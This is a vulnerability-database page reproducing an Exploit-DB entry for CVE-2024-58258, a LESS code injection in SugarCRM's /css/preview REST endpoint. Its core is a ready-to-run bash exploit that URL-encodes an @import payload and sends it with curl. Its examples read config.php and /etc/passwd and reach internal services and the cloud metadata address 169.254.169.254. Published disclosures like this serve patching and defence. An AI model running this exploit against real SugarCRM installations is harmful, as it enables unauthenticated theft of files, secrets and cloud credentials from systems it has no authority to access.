Lucene search
K

SugarCRM 14.0.0 - SSRF/Code Injection

🗓️ 16 Jul 2025 00:00:00Reported by Egidio RomanoType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 307 Views

SugarCRM 14.0.0 exposes SSRF and Code Injection via unvalidated GET parameters allowing remote exploitation.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for CVE-2024-58258
21 Nov 202512:54
githubexploit
Circl
CVE-2024-58258
14 Jul 202508:13
circl
CNNVD
SugarCRM 代码注入漏洞
13 Jul 202500:00
cnnvd
CVE
CVE-2024-58258
13 Jul 202500:00
cve
Cvelist
CVE-2024-58258
13 Jul 202500:00
cvelist
EUVD
EUVD-2024-54779
3 Oct 202520:07
euvd
NVD
CVE-2024-58258
13 Jul 202522:15
nvd
Packet Storm
📄 SugarCRM 14.0.0 Code Injection / SSRF / File Read
14 Jul 202500:00
packetstorm
Positive Technologies
PT-2025-29387 · Sugarcrm · Sugarcrm
13 Jul 202500:00
ptsecurity
RedhatCVE
CVE-2024-58258
15 Jul 202500:21
redhatcve
Rows per page
# Exploit Title : SugarCRM 14.0.0 - SSRF/Code Injection
# Author: Egidio Romano aka EgiX
# Email : [email protected]

# Software Link: https://www.sugarcrm.com
# Affected Versions: All commercial versions before 13.0.4 and 14.0.1.
# CVE Reference: CVE-2024-58258
# Vulnerability Description:

User input passed through GET parameters to the /css/preview REST API
endpoint is not properly sanitized before parsing it as LESS code. This can
be exploited by remote, unauthenticated attackers to inject and execute
arbitrary LESS directives. By abusing the @import LESS statement, an
attacker can trigger Server-Side Request Forgery (SSRF) or read arbitrary
local files on the web server, potentially leading to the disclosure of
sensitive information.

# Proof of Concept:

#!/bin/bash

echo
echo "+----------------------------------------------------------------------+";
echo "| SugarCRM <= 14.0.0 (css/preview) LESS Code Injection Exploit by EgiX |";
echo "+----------------------------------------------------------------------+";

if [ "$#" -ne 2 ]; then
    echo -ne "\nUsage.....: $0 <SugarCRM URL> <Local File or SSRF URL>\n"
    echo -ne "\nExample...: $0 'http://localhost/sugarcrm/' 'config.php'"
    echo -ne "\nExample...: $0 'http://localhost/sugarcrm/' '/etc/passwd'"
    echo -ne "\nExample...: $0 'https://www.sugarcrm.com/' 'http://localhost:9200/_search'"
    echo -ne "\nExample...: $0 'https://www.sugarcrm.com/' 'http://169.254.169.254/latest/meta-data/'\n\n"
    exit 1
fi

urlencode() {
    echo -n "$1" | xxd -p | tr -d '\n' | sed 's/../%&/g'
}

INJECTION=$(urlencode "1; @import (inline) '$2'; @import (inline) 'data:text/plain,________';//")
RESPONSE=$(curl -ks "${1}rest/v10/css/preview?baseUrl=1&param=${INJECTION}")

if echo "$RESPONSE" | grep -q "________"; then
    echo -e "\nOutput for '$2':\n"
    echo "$RESPONSE" | sed '/________/q' | grep -v '________'
    echo
else
    echo -e "\nError: exploit failed!\n"
    exit 2
fi



# Credits: Vulnerability discovered by Egidio Romano.
# Original Advisory: http://karmainsecurity.com/KIS-2025-04
# Other References: https://support.sugarcrm.com/resources/security/sugarcrm-sa-2024-059/

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

16 Jul 2025 00:00Current
6.6Medium risk
Vulners AI Score6.6
CVSS 3.17.2
EPSS0.0224
SSVC
307